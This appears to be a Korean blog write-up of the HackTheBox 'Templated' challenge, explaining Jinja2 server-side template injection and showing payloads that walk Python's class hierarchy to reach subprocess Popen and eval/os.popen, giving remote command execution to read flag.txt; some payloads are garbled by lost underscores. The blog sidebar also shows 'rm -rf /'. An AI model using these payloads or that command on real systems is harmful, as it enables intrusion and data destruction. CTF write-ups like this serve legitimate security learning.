Templated - easy

2023. 8. 19. 22:29· 보안/Hackthebox
반응형
  • 문제

Untitled.png

  • 웹사이트 접속

Untitled.png

사이트는 Python의 Flask와 Jinja2 템플릿엔진으로 구동되고 있다.

Jinja2 ← 템플릿 엔진의 취약점을 사용하여 exploit 할 수 있다.

취약점의 이름은 SSTI(Server Side Template Injection) 이다.

SSTI : SSTI(Server Side Template Injection) 취약점은 공격자가 서버측의 기본 템플릿 구문을 이용하여 악성 페이로드를 삽입 한 다음 서버 측에 실행되면서 생기는 취약점이며 웹 템플릿 엔진마다 사용되는 페이로드가 다릅니다.

웹 템플릿 : 웹 템플릿 엔진은 웹 템플릿과 웹 컨텐츠 정보를 처리하는 목적으로 설계된 소프트웨어

웹 템플릿은 예를 들어 index.html 파일 안에 {{ }} 를 이용하여

태그안에 {{ 55 }} 를 입력하고 Flask에서 렌더링을 하게 되면 index.html안에 작성되어져 있는 {{ 55 }}의 결과가 렌더링 후

25

와 같은 형식으로 인코딩(결과값)과 비슷한 맥락으로 변환되어져 나타나게 된다.

 

  • index.html
<html>     <center>{{ 5*5 }}</center> </html> 
  • Flask Code(python)
from flask import Flask, render_template  app = Flask(__name__)  @app.route('/') #@app.route('/URL') def index():     return render_template('index.html')     #return render_template(return file name)  app.run('0.0.0.0', 80) #app.run(host, port) 
  • Result
<html> 	<center>25</center> </html> 

어떠한 웹 템플릿 엔진을 쓰는가에 따라서 exploit을 하기 위한 과정이 다르기 때문에 밑의 과정을 통해서 웹 템플릿 엔진을 추정(추측)하는 과정이 필요하다.

Untitled.png

→ 위의 사진대로 요청을 했을 때 값이 제대로 전해지는 대로 따라가다 보면 웹 템플릿 엔진이 추정된다.

hackblackbox의 Templated는 Jinja2 웹 템플릿 엔진을 사용하고 있다고 명시가 되어져 있기때문에 위의 과정은 미뤄두고

일단 제대로 입력값(인자값)이 먹히는지 확인을 해본다
→ ${{ 5*5 }}

Untitled.png

  • 해당값으로 입력 시도 시 {{ }} 안의 5 * 5의 결과값이 서버단에서 계산되어서 표시되는 것을 확인하였음.

Flask는 기본적으로 python에 입력한 값들과 서버의 정보들이 config 클래스에 저장이 됨
config 클래스의 값을 불러와보자
→ {{ config }}

Untitled.png

이 값들 중에서는 웬만해서는 값들을 지정해주지 않아서 false 또는 none으로 뜨는 것을 확인
이 중에서 그나마 중요하게 생각할 수 있는 값은 현재 경로는 ROOT 경로임 “ / “

RCE(Remote Code Execute) : RCE는 원격 코드 실행으로 어떠한 시스템에 접근하여 명령어를 실행할 수 있는 취약점이다.

목표 : 내가 입력한 {{ 5*5 }} 값이 서버 사이드에서 계산되어서 실행이 되는 걸 확인했으니 내가 명령어를 작성하여서 서버에서 명령어가 실행되어서 나한테 보이도록 하게 하는 것
파이썬에서 System 명령어를 실행시킬 수 있는 함수 : system(), eval(), popen(), file(), open()
os.system 함수의 경우 쉘 명령어의 결과를 출력해 줄 수 없기 때문에 subprocess.Popen Class를 찾은 다음 함수를 실행시켜 쉘 명령어 결과를 출력할 수 있습니다.

{{ ''.class.mro[1].subclasses()[Popen의 인덱스] }}

를 이용하여
파일 읽기 및 시스템 함수 호출을 위해서는 Sandbox를 탈출해야만 한다.
→ Sandbox 탈출을 위해서는 MRO를 이용하여 사용할 클래스를 찾아야 한다.
MRO : MRO(Method Resolution Order)는 Python이 클래스 계층 구조에서 메서드를 찾는 순서를 의미 → 현재 클래스와 연관된 모든 클래스를 출력할 수 있다.

{{ ''.class.mro }} 를 이용하여 ‘’ 문자열에 상속되어진 클래스를 확인하여 본다.

Untitled.png

여기에서 object의 서브클래스들을 확인해 본다.

→ 파이썬에서 모든 함수는 object(객체)로 구성되어져있음

{{ ‘’.class.mro[1].subclasses() }} - 인덱스로 <class ‘object’> 를 선택하고 object의 subclass들을 렌더링하라.

Untitled.pngUntitled.png

Popen 서브클래스의 존재를 확인함 object의 서브 클래스에서 Popen의 존재 유무를 확인하였으니 이것도 인덱스를 이용하여 호출할 수 있을 것이다.
우리가 일일이 [하나, 둘, 셋] 세는 것이 귀찮고 시간이 오래 걸리기 때문에 두 가지 방법으로 빠르게 해당 서브클래스의 인덱스값을 찾아본다.

  • 첫번째 방법
    • 슬라이싱 활용
    • {{ ‘’.class.mro[1].subclasses() }} 의 subclasses() 뒤에 슬라이싱을 이용하여 범위를 줄여나가서 찾아본다.
      • [100:200] → 인덱스값 100부터 200까지를 선택
      • 슬라이싱 기능을 이용하여 [414] 인덱스값에 Popen가 위치한것을 확인
      서버(파일)마다 서브클래스의 순서가 다를수가있음
    • Untitled.png
  • 파이썬으로 자동화

Untitled.png

이제 Popen의 클래스의 인덱스값을 확인하였으니 웹셸은 시도하여 본다

{{ ''.class.mro[1].subclasses()414.communicate() }}

(’ls’, shell=True, stdout=-1).communicate()

→ 실행할 명령어

(’ls’, shell=True, stdout=-1).communicate()

→ 별도의 서브 쉘을 실행하고 해당 쉘 위에서 명령을 실행한다

(’ls’, shell=True, stdout=-1).communicate()

→ stdout는 표준출력을 담당하는 옵션, -1은 subprocess.PIPE 에 해당

(’ls’, shell=True, stdout=-1).communicate()

→ PIPE를 통해 명령어의 결과를 파이프를 통해 읽어오도록 하고 데이터를 다 불러올 때까지 (자식 프로세스가 끝날 때까지 기다린다.)
실행결과

Untitled.png

flag.txt 가 있는 것을 확인
→ cat flag.txt로 내용확인

Untitled.png

정리

  • “” - 문자열의 클래스에 접근을 한다.
    • “”.class →
  • str 클래스에서 base 를 사용하면 object 클래스에 접근이 가능
    • “”.class.base.subclasses() → object클래스의 서브클래스들이 출력됨
  • 인덱스를 이용하여 Popen 클래스에 접근가능
    • “”.class.base.subclasses()[414]
  • Popen 함수를 이용하여 웹셸을 실행시킬수있음
    • (’ls’, shell=True, stdout=-1).communicate()
    • 다른 프로세스(별도의 셸)로 셸을 실행하고 셸을 실행한 결과값이 표준출력은 PIPE를 통해 해당 프로세스로 전달되고 문자열로 반환되고 서브 셸이 끝날 때 까지 기다렸다가 출력을 읽어와 사이트에 출력됨

취약점이 발생하는 원인

  • SSTI 취약점은 적절한 필터링을 거치지 않아서 발생한다.

취약점 대응

  • 입력값을 검증하고 필터링한다.

문제에서 중요한 점

  • {{ }} 안에 입력된 값이 문자열로 출력이 안되고 실행 값으로 실행되는 과정에서 SSTI 취약점이 드러남

eval() 함수는 입력받은 문자열을 실행시켜 주는 함수

  • 파이썬이나 자바스크립트에서 위험한 취약점
  • 왠만하면 사용하지 말고 필터링해야 하는 1순위

{{ url_for.globals.builtins.eval('import("os").popen("cat flag.txt").read()') }}

Untitled.png

함수의 전역 영역을 참조하고 파이썬의 내장 함수를 담고 있는 모듈을 참조하고 eval 함수로 os모듈을 import 하고 os.popen 함수를 이용하여 명령어를 실행하고 read 함수로 명령어의 수행결과를 문자열로 반환함


공부 :
https://www.igloo.co.kr/security-information/웹-템플릿-엔진-기반의-ssti-취약점-분석/
https://me2nuk.com/SSTI-Vulnerability/

반응형
Future0_
Future0_
rm -rf /
Future0_
Luna Developer Blog
Future0_
전체
오늘
어제
  • 분류 전체보기 (112)
    • 프로그래밍 (4)
      • 알고리즘 (4)
    • 보안 (14)
      • Dreamhack (4)
      • Hackthebox (1)
      • Webhacking (9)
    • 프로젝트 (4)
    • 공부 (80)
      • Database (2)
      • Python (11)
      • System (4)
      • Java (13)
      • JSP (13)
      • Spring (11)
      • Kotlin (16)
      • 자료구조 (10)
      • 기계학습 (0)
    • Docker (4)
    • Github (2)
    • Tip (1)
    • 잡담 (2)

블로그 메뉴

  • 홈
  • 태그

공지사항

인기 글

태그

  • shared preference
  • jsp
  • ViewModel
  • android studio 삭제
  • 디버깅키해시
  • 컴퓨터
  • 코틀린기본문법
  • spring
  • Python
  • dreamhack
  • 상속
  • cs
  • api 통신
  • Kotlin
  • Database
  • Java
  • webhacking
  • 보안
  • native app
  • 알고리즘
  • Computer science
  • React
  • 자바빈즈
  • 프로그래밍
  • Android Studio
  • docker
  • 1.9.22
  • 키 해시
  • 자료구조
  • SpringBoot

최근 댓글

최근 글

hELLO · Designed By 정상우.v4.2.0
Future0_
Templated - easy
상단으로

티스토리툴바

단축키

내 블로그

내 블로그 - 관리자 홈 전환
Q
Q
새 글 쓰기
W
W

블로그 게시글

글 수정 (권한 있는 경우)
E
E
댓글 영역으로 이동
C
C

모든 영역

이 페이지의 URL 복사
S
S
맨 위로 이동
T
T
티스토리 홈 이동
H
H
단축키 안내
Shift + /
⇧ + /

* 단축키는 한글/영문 대소문자로 이용 가능하며, 티스토리 기본 도메인에서만 동작합니다.